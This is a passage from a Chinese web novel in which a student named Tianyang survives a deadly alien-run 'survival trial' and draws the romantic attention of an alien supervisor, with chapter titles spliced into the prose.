“产品艺术设计?!!”后面一个听起来略欠打的声音:“你什么时候对这个专业感兴趣了?” 另一个听起来低沉富有磁性的声音:“闭嘴。” 啊啊啊啊啊,他过来了,就在我后面!!! 天仰简直要蹦起来了,强行保持镇定,满脑子却是刚才薄膜里看到的死人的惨状,额头流下冷汗。 “前面那个,监管者让你过去。” 一个监察生上来就是揪住天仰的后颈。 天仰一时间没反应过来,心跳还十分慌乱。强行转过身去,就撞上玫瑰花监管者堪称阴沉的眼神,不由得脚下一软。 想溜。 在他还处于蒙圈状态的时候,监察生不知为何急急忙忙松开抓着他后颈的手,匆忙离开了。 天仰还保持着原来的动作,直到玫瑰花监管者旁边的002监管者和颜悦色地冲他招了招手,他迟疑了一下,才慢慢挪动过去。 天仰来到两个监管者面前,有些懵逼地看着他们。 002监管者依旧笑眯眯地看着他,直到玫瑰花监管者阴沉地扫了他一眼,002监管者才嘿嘿一声溜到一边去。 002监管者离开后。 两个人之间的气氛突然有些尬住,说不上来为什么。 “认识一下,我是神渚家族的,名降赐。在HNR星担任的是监管者一职,编号001,目前管理所有来地球参与任务的监管者和监察生。” 天仰:“......” 啥?!! 我听到了什么?!! 这种东西是能随随便便跟他一个普通群众说的吗?!! 天仰有些傻眼,也不知道为什么他们第一次的讲话变成了自我介绍,甚至还有逐渐往下了解的倾向:“......你好...我叫天仰,是个地球人,目前还是个学生......” 降赐倒是一脸郑重,点了点头。 然后,他们又尬住了。 谁TM能告诉他他一个这么普通人,这么牛逼的监管者找他干什么?!! 天仰内心仰天长啸,却又不敢先开口询问。 直到002监管者不知什么时候猫过来了,半搭在降赐身上,又被降赐一个眼神恶狠狠地扫过去,才打哈哈自觉站好:“我是002,也是监管者,神渚这人不太会讲话,甭理他。那个,要不你先回去好了,你的小伙伴看起来挺着急。” 002指了指他们班的方向。 天仰看过去,突然嘴角一抽。 桦烙那个二傻子缩在人群中,虽然害怕,但还是冒出一个头来,用一脸非常凄苦的表情看着他,仿佛他好像要葬身火海中。要是加上点漫画特效,这会儿他看起来应该是泪流满面的样子。 “那我先回去了。”天仰得到了降赐的许准,快步离开了这里,回到了班级。 桦烙差点扑上来,天仰猛地避开,站到了几个看起来稍微靠谱点的室友旁边。然而班上其他好奇的同学也围过来了。 室友:“我们还以为你要被抓走了。” “怎么会......”天仰无语地看着几个室友,就属桦烙的行为最夸张,不知道的人还以为天仰被怎么了。 “那两个监管者找你做什么。”桦烙问道。 “他们......”天仰本来准备实话实说,可话到嘴边,他咽了回去。脑子里是薄膜中几个被同伴害死的学生,以及他转身离开后,降赐在身后对他说的两个字。 人性。 他改口道:“他们看我被你们挤得到了最前面,就把我叫过去问问我们班多少人好统计接下来进去多少人。” “啊就这样啊,还以为你犯了什么事。” “原来这种事是监管者负责的啊,还以为是监察生呢。” “你没事就好,就好”。 周围围观的同班同学纷纷散开。 “天仰,真的没事?”室友悄声询问道。 天仰看着他们摇摇头。 室友没多说什么,便散开了。 他们寝室四个人虽然说认识不久,但实际处的比其他寝室要好很多。知道不该说话的时候就不要说,别人想讲就讲了。很多时候知道不该问的时候就不要过问,遵循着不要瞎掺和别人的事的原则。毕竟不是人人都喜欢别人插一脚自己的事情。 一个早上死气沉沉地过去,等到时间结束。广播再度响起,似乎是对这个结果显得极度不满意,他停顿了很久才开口:“整个上午,就一场考验。这也是你们第一场考验......没有一个人考验成功,一百五十三人全部淘汰。现在进行集体修整,下午三点整,继续。” 全场死寂,悄无声息。似乎是看到了早上的场景,对接下来的任何安排都没有抱怨。很多人行尸走肉地跟随着队伍返回宿舍,有人在途中崩溃失声痛哭,却没有一个人站出来反抗。 在这种强权下,任何反抗都显得毫无意义。 天仰回到寝室,刚打开手机就看到沈郢发来的短信。 “听说你被监管者叫走了,出了什么事?” “还好吧?不要跟他们反抗,说完赶紧回来。” “看到了回我。” “要不我找个时间去找你。” “安全了吗?” ...... 消息很多,天仰一条条看下来,生怕沈郢一个想不开偷溜出来找他,赶紧发了一条过去:我没事,待在寝室别乱跑,现在到处都不安全。 沈郢马上回了一条:在寝室了? 天仰:对。 沈郢:好,你要小心点。 天仰又和沈郢说了几句,安抚了他的情绪,便准备去冲个澡冷静一下。 他们的寝室虽然配套设施完善,但是浴室却是在走廊尽头,分为一间间隔间的浴室,按学校的意思是方便排水,美化寝室大小。 三个室友显然没有对早上的事起太大反应,要么睡觉,要么在玩手机。看到天仰抱着盆出去,问了一句就没注意了。 天仰带了浴巾换洗衣物,抱着盆,想了想把还是把手机也带了,便开了门,对看门的两个监察生说了一声:“去浴室。” 监察生没有反应。 天仰便抱着盆要走,突然听到一声很熟悉的声音:“原来你住这?” 脊背猛地一僵,僵硬地回过头。 降赐站在他的寝室门口,胸口的玫瑰花娇艳欲滴,似乎映照了降赐心情很好。 天仰也不知道自己为什么有这种想法。 “啊。”天仰呆呆地看着他,不知道该说什么,总感觉暴露了什么;“你好......” 降赐面无表情着一张脸,眼神却有意无意地往天仰寝室瞟。 天仰捕捉到他的视线,便猛地关上寝室门,生怕室友脆弱的内心又被吓到:“我有事,我先走了。” 降赐看着他:“一起?” 一起个毛线球啊!你知道我要干嘛吗! 天仰简直要吐血。 “我洗澡”。天仰学着降赐面无表情的样子说话。 降赐似乎思考了一下,点点头:“好。” 好个鬼啊! 天仰没再理降赐,抱着盆径直走掉。 降赐看着他,也没有跟上去,返身去找负责这层楼的监察生。 天仰可不知道降赐的想法,他进了浴室马上找了一间上了锁。 这个点,一般人都很少会来浴室洗澡,更何况还是这种时期,饭都不一定能吃下去。 显得此时浴室更加的冷清,只有水流落在地上的声音。 天仰头抵在墙上,对着喷头,头发被水流打湿一片,顺着消瘦的背脊顺流而下,他的表情看起来有些痛苦。 我不能死在这里...... 天仰闭上了眼,任水滑过他的脸颊,试图缓和心情。 他习惯了把所有的心事都掩藏起来,哪怕是面对沈郢,他只要装作若无其事的样子,就不会有人看到他的软弱,就不会突然想起那些事情。 天仰睁开眼睛,眼眶竟然有些泛红。 他看着胸口上一道狰狞的伤疤,有些黯然失色。 他已经没有家人了...... 天仰有些艰难地喘了一口气,胸前最深的伤疤处似乎微微闪动了一下,马上又暗了下去。 现在立刻搬到322寝室 “天仰怎么洗那么久才回来?外面多不安全。” 天仰抱着洗澡盆刚进寝室,整个寝室就他的下铺林知秋还没睡着还在看书。 “没事,就洗个澡他们能干什么。”天仰按了按披在头上的毛巾,随手把盆子丢到角落:“你怎么还那么认真,这场灾难不知道还要多久才能结束,什么时候能上学还真说不准。” “话是这么说,可是我妈一直想让我考公务员来着,我还是能看几眼就看几眼吧,万一哪天突然恢复正常了,落下的功课可多了。”林知秋边说还不忘多看两眼书本。 天仰没再说什么。 毕竟每个人都有自己的想法。 爬上了床,天仰看了几眼还是没有任何网络的手机,默默放到枕头边,准备稍微休息一会儿。 大概过了十来分钟左右,寝室的门被接连不断地敲着。 林知秋搁下手里的书,起身去开门。 门口面无表情的监察生与他对视着。 林知秋顿时吓出了冷汗,还是保持着原来的表情看着他,握在门框上的却忍不住微微颤抖。 “302寝室天仰出来。”监察生机械的语气仿佛不是人一般。 林知秋打了一个寒颤,正要回头的时候,一双手搭在了他的肩上把他往后一拉,挡在了他的面前。 “我就是。”早在听到自己名字的时候天仰就下床了,一听是找自己的,便站了出来。 监察生似乎是在确认这个人是否属实,盯着天仰。 冰冷的目光中仿佛带了特殊扫描光线,将天仰全身扫了一遍,便移开目光。 天仰感觉被什么剖开了身体,一动也动不了。 “302寝室天仰现在立刻搬到322寝室,给你一天时间,今天的生存考验调整至明天,包括同专业的所有人调整到明天参加。” “??” 天仰警惕地看着监察生:“为什么只有我换寝室?” 监察生扫了他一眼,重复着机械的话语:“执行命令,不许过问,违抗者杀。” 天仰的眸色顿时黯下去。 站在他身后的林知秋也不明白这是怎么一回事,正想替天仰说两句,天仰抬手拦住了他。 门关上以后,听到动静的另外两个室友已经从床上起来了。 “怎么回事?”桦烙陷入短暂性迷茫,还没有搞清楚状况。 林知秋解释了一遍,四个人沉默了。 “天仰你也没有惹到什么人之类的......”桦烙饶了饶头。 天仰摇摇头:“现在唯一的好处就是我们专业改到明天参加那个生存考验。然后,臻耀你力气大,跟我去搬一下寝室。早点把这件事弄完,免得待会又出了什么事。” 天仰虽然也很不想搬寝室一个人去那什么322,毕竟322是最后一间寝室没人住,但是也没办法反抗这些监察生。 几个室友也很不放心天仰一个人去住别的寝室,但同样没有办法阻止。 桦烙本来想着,能不能趁着晚上偷溜回寝室睡觉,但天仰觉得这样太麻烦了,被抓到就是死罪。而且只是去那个寝室睡觉而已,第二天还是能看到他们的。 况且他们也没有多少个明天,谁也不知道明天那场生存考验会带走多少人。 ...... 下午的生存考验依旧继续,因为天仰他的专业被调到明天去,下午的考验由下一个专业的人继续。 天仰百无聊赖地站着,听着室友在瞎唠嗑。 班上其他的同学在来的时候听到了监察生的通知,知道他们专业的生存考验调整到明天是因为天仰搬寝室的关系,纷纷前来感谢他。 天仰没有在意这件事,摆摆手让他们离开。 操场上薄膜内依旧是宛如大逃亡一样的景象,而他们明天早上就要面对这样的残酷。 天仰也不知道他能不能活下去,他只能做到尽量,活着出来,拿到有用的信息,帮助沈郢。 天仰思索着,忽然一抹白色从眼前晃过去。 一朵娇艳欲滴的白玫瑰插在降赐的胸前,看上去似乎比昨天更加鲜艳。 降赐的目光短短停留在天仰身上一瞬,便移开了,转身去跟002说话。 天仰猜不透这人老盯着他是想干嘛,也学着降赐时不时打量他一下。 降赐感受到背后来自天仰的视线,嘴角为不可察地翘了一下。 002正在给降赐汇报上一场生存考验的总体情况:“大概就是这样,这群人类太弱小了,这点考验都经不住。啧,就这水平还比不上那些刚刚长大的监察生。你看要不给他们降降难度,下午的这场考验应该也是没人能过。” “适当降低一些难度吧。”降赐想了想,问道:“明早那场是产品设计专业?” 002翻了翻册子:“对,本来今天下午的,寝室楼那边不知道怎么回事给改到明天去了。” 降赐点点头,沉声道:“把难度降到最低。” 002:“最低?你认真的?行吧行吧,反正也还没有人通过考验,降就降吧。” 站在不远处的天仰盯了一会儿降赐便把目光转到别处去了。 虽然没有明确的迹象表现出来,但是他突然换寝室的原因一定有001监管者在他们楼层晃悠的关系。 不过眼下还不是想这个问题的时候,重点是他该怎么在明天那场考验中活下去。 他已经经不住再死一次了...... 天仰抚了抚胸口上那道伤疤,似乎有点隐隐作痛。 他轻轻叹了一声,看向薄膜内正在逃亡的学生。 大部分刚进去的学生一开始选择躲在阴暗的角落,打死也不肯出来,暗处的不明生物悄悄的覆上他们的身体,在有人反应过来要跑的时候,同伴已经因为被摄入大量毒素而死亡。剩下的幸存者在空地上狂奔,穿梭在丛林之中,有大胆的拼死一搏,亲身上去压制住怪物,却被轻松削去了脑袋。 天仰仔细勘察地形,陷入了思考,朝一旁的监察生看去。 “这也太弱了吧,现在的地球人反应速度怎么会废成这样,就一个轻松的躲避技能都不会,是怎么长这么大的。居然还躲起来,这不是送命吗?”002嫌弃地喷着里面的求生者,嘴里还不带停,越说越激烈。 降赐皱了皱眉,好像是在嫌002吵,目光在人群中搜寻了一会儿,准确落在那个跟监察生说话的黑发少年身上。 天仰思索了一阵,径直走向看守的监察生旁边:“那个,能不能问个问题。” 正在站岗的监察生也没料到会有人突然跟他搭话,沉默了一阵,点了点头。 天仰直接把问题问出来:“生存考验能不能带武器什么的进去?” 监察生点点头。 “有没有限制什么的?还是说都能带?” 监察生摇摇头,又点点头。 这可真是一个突破点。 天仰想了想,规则上这条消息没有说出来,给足了让人挣扎的余地。不过看起来似乎还没有人意识到这个,毕竟前两场看下来,也没人能对怪物照成任何实质性的伤害。 危急关头,并不是所有人都能保持冷静。 天仰对监察生道了声谢便回到了队伍里。 降赐注视着那个少年,心里不住好奇他们说些什么,打算晚点把那个监察生叫来问问。 一个下午,又一个专业的学生全军覆没。 操场上的氛围更加凝重,没有人关心接下来又会发生什么磨难,行尸走肉般走向寝室楼,连一句交谈的话也没有。 产品设计专业的情绪更加低落,甚至有人都想提前自杀,就不用迎来明天的磨难了。 毕竟前面没有人存活下来,现在到了他们,怎么可能会活着出来。 天仰没有被这氛围所带动,早早回到只有他一个人住的新寝室做一些准备工作。 他从行李箱里翻出一把美工刀,刀片是新换的,还算锋利。然后又在行李箱里翻翻找找,挖出了一把老旧的剪刀和一些零散的硬币。以及,一个小小的红外线手电筒,能切换红光和白光,这是他以前在寝室楼下逗猫用的,没想到在这种时候派上了用场。 不过有总比什么都没有强。 天仰摸出了一条黑色腰包,在身上调了调松紧,牢牢系在腰上,还特地用衣服遮盖住,免得被有心人发现过来抢。 然后把找到的所有工具都收进腰包里,想了想,又从行李箱里翻出刀片。 虽然在里面会来不及换刀片,但是还是要以防万一,哪怕换不了,光刀片也会有很大的用处。 天仰拿纸巾把刀片一个个包起来,准备明天藏在身上的各个位置,以备不时之需。顺便又从药袋子里找了几个创可贴和跌打喷雾一同塞进腰包里。 做完这些准备,天仰稍微放心了一些,无论明天结果怎么样,他都会努力活下去。 天仰看了看这些东西,突然想到了原来寝室那群人,就给桦烙发了条消息过去,让他们也准备好这些东西。 毕竟他们专业写字什么的虽然少,不过工具倒是多。反正能用上的东西尽量带上,保不齐关键时候能产生多大的用处。 天仰正想休息一会儿,放放松,突然听到身后传来动静。 “准备的东西还挺多,你很聪明。” 天仰,你先进去 ?! 天仰猛地往后一转,正对上一双如银河般耀眼的琥珀色眸子。 视线在交错间一时间变得十分耐人寻味。 天仰不住道:“你怎么会在我的寝室?!” 坐落在窗榄上的男人深深望了他一眼,棱角分明的脸在月下显得十分邪魅。那张脸在此刻看上去亦正亦邪,若不是被身上的军服所掩盖,他一定是个如同魔鬼般的存在。可此时他浑身散发的气息却是相当柔和,深褐色的头发被徐徐微风扬起,看起来很是柔软。 天仰忍不住手指轻轻勾了勾,一时间说不出话。 降赐从窗台上翻下来,一手抚上天仰的脑袋,穿到他身后,半弯着腰查看放在地上还未拉上的腰包。 攻击,治疗,暗器,照明,还有一些零散的小东西...... 装备还算勉强,就是品质差了点。 降赐思索着。 天仰被摁着头,下意识挣脱开来,随着降赐的目光看去,有些焦急,扯住降赐的衣角:“没规定不能带武器!” 他紧紧扯住降赐的衣服,生怕他再往前一步,把他辛苦找出来的东西拿走。 像一只受惊的小猫。 降赐错过他的身边,轻轻揽住天仰,手抚上他的脑袋,唇微微凑到他耳畔,十分强烈的男性荷尔蒙的气息瞬间萦绕在此刻:“我当然不会拿你的东西,你在想什么。” 天仰猛地瑟缩了一下,随即耳根不住泛红,他急速后退着,脚跟碰到还未合上的行李箱。 眼看着就要倒下去,降赐眉头一挑,及时牢牢一把抱住天仰,直把人往怀里带。 天仰撞上降赐的胸口,淡淡的香薰味在鼻间环绕。 ?!! 这都是什么事儿?!! 天仰羞愤地推开降赐。 关键是当事人还不自知:“怎么了,是我身上的味道不好闻吗?” 天仰简直不知道怎么跟他说话,脑子卡了很久:“不是......” 这时,脖子上突然多了个东西。 天仰下意识一摸,是颗珠子。 “血垒珠。一个防御装备,以你的气血养着它,主人的气血越强,它的防御功能越卓越。你带着它,可以有效抵御一次危及生命的伤害。”降赐说道。 天仰有些迷惑地看着这个血红的珠子:“给我?” 降赐嘴角嗜着一抹笑意,点头。 我们是什么关系你就给我这东西??! 天仰实打实地发自内心惊讶了。 这让天仰有些怀疑这个监管者是不是对他另有所谋,不过他也没什么地方能让监管者看上的吧。 “明天的考验你尽力就好,不会有事的。”降赐重新回到窗边,准备离开。 天仰感觉一堆谜团困扰在心底,犹豫了一阵,还是叫住他:“我的寝室是你换的?” 对于这个问题降赐似乎表现得有些沉默,他的耳尖微微泛红,声音带着一丝沙哑:“在我们星球,未婚的男男是不能住在一起的。” 天仰:“???”什么东西? 这跟我有什么关系?我难道不是一个地球人吗?怎么还扯上你们星球了? 天仰简直想不通这二者之间有什么关联,正当他还想问的时候,降赐已经消失在窗口。 胸前血一般的珠子散发着幽暗的光芒。 次日,清晨。 天仰很早就醒了过来,半夜因为降赐的那些话陷入迷茫,思来想去也没怎么睡着,便起来弄装备了。 他特地换了一身轻便的衣服,把腰包藏在衣服里,在衣服裤子甚至是鞋底藏了几把刀片。做好这些准备后,又把胸前的珠子塞进衣服里,避免别人看见。 在监察生来敲门的时候,天仰第一时间打开门。 监察生见他准备好了,便先带他到场地去。 这次前往的不是原先的场地,而是操场中心的透明薄膜入口处。 今天是002负责记录这个专业,见天仰来了,笑嘻嘻地跟他打招呼:“啊呀,好巧啊!” 天仰表面上密不透风地跟他点了头算打了招呼,实际上内心正在咆哮。 谁想跟监管者走那么近啊!你们行为举止能不能端正点! 好在此时来的人并不多,也没有人有心情注意他们。 天仰松了一口气,往002身边看去。 奇怪,平常001不是都跟002形影不离吗?怎么今天没来。 002眼尖地注意到天仰的视线,嘿嘿道:“你找001吗?今天我负责你们,就没带他瞎逛。” 天仰:“......” 等到专业所有的人到齐后,002按着班级名单看下来,发现先前因为寝室的事情,前面还有一个专业的人还没进去,刚好三个班,就是人数少了点。 就干脆把产品设计专业的一部分人加了进去。 “天仰,你先进去。” 002知道难度调低的原因是因为天仰,所以赶紧让他进去,免得上面有人下来查,下一场就降低不了这么多难度了。 天仰简直怀疑002是不是故意的,不过早进晚进都一样,还不如早点结束好。 跟他同专业进去的,都是男生,却没有一个是他室友的。 那就——先让他进去试试险吧。 或许进去之后他还能收获点什么,回来还能帮帮室友,再者,沈郢也很需要他的帮忙。如果他没法出来,确实很可惜,毕竟走之前还没能来得及看沈郢一眼。 “生存考验即将开始,请参加考验的学生寻找安全的地方进行躲避。在场外的学生即将开通学习权限,观看并学习生存经验。” 002念完长长的一段开场白,目送着天仰等人进入生存考验场地。 ...... 天仰默不作声地站在原地,观察四周的环境。 在没有进来以前,从外面看,只是觉得里面只是操场上增加了稀奇古怪的生物,以及多了一些没有来历的古老树木。然而,进来之后,确确实实感受到,并不是操场发生了改动,而是原先的操场早已被庞大的灌木丛林取代,幻化成了一片阴郁,神秘莫测,充满黑色死亡气息的诡异森林,。 空气中似乎还弥漫着淡淡血腥味,不知是之前的人留下的,还是里面的不明生物产生的。背后若有若无传来阵阵阴风,伴随着不知名生物的幽幽嘶吼,场地上一百零二个人感受到莫名的压迫感。 人心底产生了绝望,便一发不可收拾。 不知是哪个吓破胆子的女生尖叫一声。 丛林里传出大型生物靠近的声音,地面微微颤动,似乎有什么东西正在朝他们靠近,并且力量很大。 天仰动了动身,正在考虑从哪个地方跑,便看到另一个专业的人一窝蜂往宽敞的大陆跑,周围阴郁的丛林突然冒出数不清的青绿色细蛇往人身上扑去,一口就将致命毒素埋进了血液中。 不少人因为这突发的事情中招,就因为这一口毒,疯狂想要挣脱的人下一秒倒在了地上,短短一瞬便失去了鲜活的生命。 有几分运气的人没被咬到,借此机会逃离。 天仰仔细看着这一幕,那些青绿色细蛇身上带着点点红痕,但不甚明显,咬完人后便一口扎回丛林中,仿佛和丛林合为一体,完全看不出来里面藏着多少蛇。而那些被咬到第一时间挣扎地想要逃离,却因为这动静毒素扩散得更加严重,短短发生一瞬就发生了致命伤害,可见这蛇毒威力有多大。反而那些被咬后躺在地上没有动弹的人,堪堪保住了半条性命,却因为不能快速移动,无法躲避危险攻击,而在接下来的考验中凶多吉少。 天仰感受着地面上的动静越来越大,果断选择了看起来丛林稀疏,树木茂密的路一头扎进去。边跑边往腰包里掏出一个小瓶子,疯狂往身上喷。 早在他被点到名的时候,原先室友第一时间塞了这瓶花露水到他手里。 不知道也没有效果,但还是那句话,能用就用,万一有用呢! 天仰放飞脚步在树林里穿梭,不仅跑得快脚步也十分地轻,也趁着这个机会多看看这里的环境,寻找藏身点。 不过毕竟正常人的体力是有限的,天仰跑了三分钟多就有些累了,便改为了快走。 直到现在天仰还没有遇到什么凶残的生物,不知是花露水的用处还是他的运气还不错。 在离入口处几百米外,天仰准备在这个地方躲起来,直到时间到了再出去。不过找的地方也不能离出口太远,不然容易发生事端。这是他进来之前想到的。 “只要熬过十五分钟,出口就出来了。”天仰激励着自己。 不就十五分钟吗!一顿饭的时间! 可当他这样说完,薄膜内突然出现了一道广播:“由于本场考验为低难度,所以延长考验时间,一小时后才会出现出口。请场地内求生者注意时间把控,发挥自己的特长,展现自己的才能,取得良好的表现。本场表现突出的求生者将获得额外的奖励——” 由于今天是002监管这次这场考验,他的话格外的长。 天仰:“......”表示现在很想出去把002打一顿。 在专业场地的三个室友也被这新增的规则搞得哑口无言。 桦烙:“不会是天仰在里面说了什么吧......” 另外两个室友也想起什么似的,沉默了。 像是个诱捕猎物的陷阱 天仰此时的心情被弄得很疲惫,先不说一小时,就连原先的十五分钟也不是什么简单的事啊。 而且这叫低难度?开头不过几个人被蛇咬了一口就死了,这还不算难?这群外星人脑回路简直无敌,前两场十五分钟就无人生还了,现在延长到一小时,哪怕是低难度,那也很心累啊! 天仰有些失落地走着。 不过也不知道是不是因为这是低难度,之前在外面看到的走几步路就窜出来的生物大大减少,这也给了他一点生存下去的信心。 少年的身影在丛林中时隐时现,穿过了那茂密的草丛,停留在古老的树木丛中。目光徘徊了一会儿,眼疾手快,一刀戳开了从树上掉落的诡异白虫,深绿色的汁液从尸体上留下来,粘稠却带着淡淡青草的气息。少年甩了甩美工刀上的液体,低头思考着这汁液有没有毒,随地捡起一根树枝,戳了几下白虫尸体上的液体,确定树枝没有腐蚀或是发生什么,便拿美工刀往树干上蹭几下,刮干净。便往下一个地方走去。 薄膜外,降赐的视线中带着一丝考量的意味,随着少年越走越远,他暗暗收回目光,简单地和出口处的002交代几句便离开了。 三个在外面的室友此时焦急等待,从一开始天仰选择树木茂盛的地方钻进去就再也没有看到他。而周围能看到的几个人要么正在逃亡,要么被可怕的生物追赶,受伤的人数不胜数。看起来令人心惊胆战,连低难度都受伤成这样,一小时要怎么才能熬过去。 而此时,时间只过去了一半。 黑发少年在丛林中不停穿梭,声音轻到仿佛落在人间的精灵,苍白的皮肤在黑暗中耀眼得像是在发亮,在幽暗的环境中散发治愈般圣洁的色彩。 身后相差不大的距离正追赶着一只形态如牛,浑身漆黑的生物。 他忘了他有贫血症,身体本来就不是很好,很多次强硬地撑着身体的不适,只是为了不让自己失去尊严,不想让人嚼舌根。好在有惊无险地度过,可是这一次,他已经被身后的生物追了快半小时。 饶是他再怎么坚强也无法继续跑下去。 刚才甚至都爬到一颗成年老树上,那种树干巨粗的树,躲了十来分钟,树便被撞倒了。落下树的那一刻,他把提前准备好的刀片狠狠扎进它的皮毛里,却只是堪堪擦破点皮,那个怪物更加暴怒,硬是追着他跑了更久。 身上的道具剩得不多了,大概只剩下几个刀片,一把弯曲的美工刀,药物,以及一些零散细碎的东西。 天仰用力地跑着,稍不留神就会被后面的可怕生物撞上。他大口喘息着,已经没有办法正常换气。 在又一次跑回原本经过的地方时,天仰眼尖看到一个藏在树旁的洞,被树叶掩盖着,看上去特别像是个诱捕猎物的陷阱。 可天仰已经别无选择,动作迅猛地钻进洞里。 背后的怪物看到这个洞,灿灿地盯了一眼,就离开了。 天仰跌入洞中,不知摔了多久还不见底,身体不断在壁上撞击,磕磕碰碰,多了很多处伤口。 终于,到底的时候,天仰落在了一层厚厚的软垫上。周围密不透风,漆黑无比,甚至连氧气也极其缺少。 天仰猛地睁开眼睛,什么都看不见,但他也不敢开灯,怕又引来什么东西。身上十分疼痛,隐隐还有点湿湿的。 他猜应该是流血了。 天仰摸着黑,把周围能碰到的地方仔仔细细摸了一遍,确定没有什么特殊的生物之后,从衣服下艰难地翻出腰包。 他的胸前也磕了不少伤,有点后悔,早知道出来前就把衣服加厚点了。 他拿出微弱的手电筒,在四周照了照,发现身下是一个大大的软垫。 软垫? 之前就看这个类似于陷阱的洞很奇怪,但既然下面铺了软垫,应该是不想让人掉下来时受伤。所以这个洞应该是监管者他们弄的,生存考验的藏身地,不过应该没有多少人找到,不然也不至于全军覆没。 天仰打着灯往前走,发现这里只有一条通道。 他缓慢地走了很久,这个过程中空气也稀薄了起来,渐渐地他有些发晕,却强撑着体力几乎透支的身体继续走下去。 不知过了多久,他听到外面广播微弱的声音:“一小时已到,请幸存者注意,出口位于入口处,请幸存的人到达出口,生存考验即为通过。出口开放时间为十分钟,请幸存者尽快赶往出口。” 他的心像是看到希望一般雀跃起来,加快了脚步。 002站在出口处得意洋洋的想着,这次的考验这么简单,幸存者应该不少吧。到时候上面就算是查下来,哪怕难度降低,有幸存者也比之前无人生还的好吧。 ...... 天仰在离开洞口前,借着微弱的灯光,检查了一下伤口,比较严重的地方用创可贴随便粘了几个,以免到时候冲出洞口的时候又有什么意外。 慢慢地,天仰走出洞口,周围还是一片的黑暗,茂密的树林遮住了上空,四周十分静谧,像是没有人一样。 天仰辨认了一会儿这个地方,之前被追了半小时几乎把大半部分的路逛了个遍,现在找到出口对他来说还是比较容易。 确定好方向以后,天仰加快了步伐,伤口还在不断冒着血,他每一步走过的地方都留下了一道触目惊心的血迹。 他却视而不见,继续走着。 但这不代表外面的人看不见。 天仰已经从树林里走出来,到了外面的人能看清的地方。他的每走一步看上去都特别艰难,尤其是身为天仰的室友们,纷纷想要进去把他带出来。 可门口的两个监管者看起来十分恐怖。 就在这时,不知是从哪个专业冲出来的学生死死地撞在出口,一直想要进去。跟着他跑过来的监察生拦也拦不住他,一上手就被这个学生重重挥开。 很难想象人类有这么大力量,可能是在悲痛中迸发出的勇气。 降赐和002站在出口等着,有些意外有人竟然敢公然闹事。 带着金丝框眼镜的男生看上去有些书卷气,飘飘的衣玦看上去竟然有些莫名的仙风道骨。表情看上去却是十分愤怒,他死死地瞪着降赐,恶狠狠地说:“要是天仰有一点事我绝对不会放过你们。” 本次生存考验结束 降赐颇有些意外地挑了挑眉,示意监察生退下。 同样在附近的还有天仰的几个室友。 桦烙:“这该不会是天仰的那个朋友吧......” 臻耀心中倒是挺佩服这个人:“应该是吧。” “是他,叫沈郢好像,之前见他跟天仰一起吃过饭。”林知秋肯定道。 沈郢在知道进去的是天仰他们专业的人后,在原地艰难地等待了一个小时,还是没有看到天仰。于是他一股火地冲过来,想要进去。 可是刚到门口就被重重监察生拦下来,在看到门口的两个监管者后,火气一瞬间达到顶峰。 怎么人类在监管者的眼里就变得这么一文不值吗? 沈郢很愤怒,在看到降赐以后,直觉上感觉这个人应该是带头的老大,便怒气冲冲地朝他发泄。 周围悄无声息,学生们似乎都没有人敢上前帮他,只在角落里默默围观,甚至怕波及到自己。 林知秋上前一步拉住即将爆发的沈郢:“同学你先不要着急,我是天仰的舍友,天仰已经在朝着出口走过来了。监管者大人,我们都是里面一个同学的朋友,生命来之不易,我们希望能在这里等他,也算是对他的鼓励,希望您能够通融一下。” 另外两个舍友也纷纷围上来,像是为了给他们壮气一般,站在了他们的身后。 沈郢平复了一下情绪,虽然这样找过来是他的不对,但是天仰是他十分重要的朋友,他不可能置之不理。 降赐没有说话,直接无视他们的请求,目光继续保持在出口的位置。 002在旁边观察了好一阵,怎么说自己也是001多年的队友,察言观色,这种事情,对他来说还算轻而易举。 002代替降赐回答:“你们就站在这里等着吧,但是谁也不能进去扰乱里面的秩序,违抗者立即处决。” 沈郢几个人听完便安安静静地站在原地,不再多说什么。 …… 天仰感觉每一步走的都很艰难,身体异常的疲惫,而且胸口上的那道伤隐隐作痛,似乎新的伤口也附在了上面,让人有些难以忍受。 不过,出口似乎就快到了。 这一路走过来没有太大的问题。 看到近在眼前的出口,天仰心里涌起了希望,但他走的速度依旧快不起来,只能一点点地走下去。 “呼——”天仰重重地呼出一口气。 他实在太累了。 四周的环境十分寂静,似乎除了天仰就没有其他生命的存在。可越是宁静,越显得这个地方的可怕。黑暗侵扰人的视线,看不见的地方仿佛暗流汹涌,未知的危险隐藏其中。 离出口大概还有十米的距离。 薄膜外等候的人心脏快要跳到嗓子眼。 可意料之中的事情还是发生了。 一 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就在他迟疑的一秒,幽暗的草丛里突然间闯出一只高达三米,拥有四肢,在地上爬行的浑身是血的不明物种。 硬生生将男生剩下的上半截身体拖走,一双血淋淋的双眼无神地盯着天仰。 天仰僵在了原地,发麻的手掌握紧了最后一把刀片,原先缠绕在刀片上的纸巾早已消失,手上的伤口再度被刀片划开,一滴滴血液落在地上。 怪物眯起了眼睛,血色的眼睛盯上了他。 就在天仰打算正面刚的时候,突然听到沈郢的大喊:“快跑啊!!!” 天仰在听到这个声音的时候一瞬间失神,就在这个刹那怪物一个发力便扑了过来,他一咬牙重重往旁边一滚,堪堪躲过怪物的袭击。 身上的伤势再度加重,体力不支传来的眩晕感让他有些站不起身。 “靠。”天仰咬咬牙睁开眼睛,眼前已经是一片模糊,他急中生智,掏出藏在鞋底的东西往身上血迹最重的地方一擦,猛地朝怪物扔去。 东西打在了怪物的身上便落在地上,闻到熟悉的血腥味它俯下身去。 是一枚硬币。 机会难得,天仰趁机爬起来,以最快的速度冲向有光源的方向。 出口前的五米就是安全地带。 天仰在冲到出口的那一刹那重重倒下,不省人事。沈郢早就在那等候,直接抱住了他。 怪物在看到出口处的人时,似乎失去了捕捉这个人类的兴致,转过身叼走那半截失去生命的身体。 “天仰......”沈郢死死抱住天仰,看到他身上数不清的伤口和掩盖在衣服下渗出的血迹时,心中的愤怒止不住扩散。 我要变强,我一定要变强—— 三个室友趁着监管者不注意也飞奔上前,小心翼翼地想要帮忙托住天仰,却发现身上都是细碎的伤口,根本无从下手。 “谢谢你们——”沈郢在他们的帮助下轻轻地把天仰转移到自己的背上:“不过我自己来就行了。” 一旁默不作声的降赐示意救护人员进来。 002看上去颇有些兴高采烈,终于有一个幸存者了太好了:“出口开放时间已到,关闭开放。” “本次生存考验结束,幸存者只有一位。这也是这些天唯一活下来的幸存者,作为表现最突出的求生者,监管者对此决定开启幸存者日常生活中心,并奖励第一位幸存者特殊道具一个。” 就他也配请我过去? 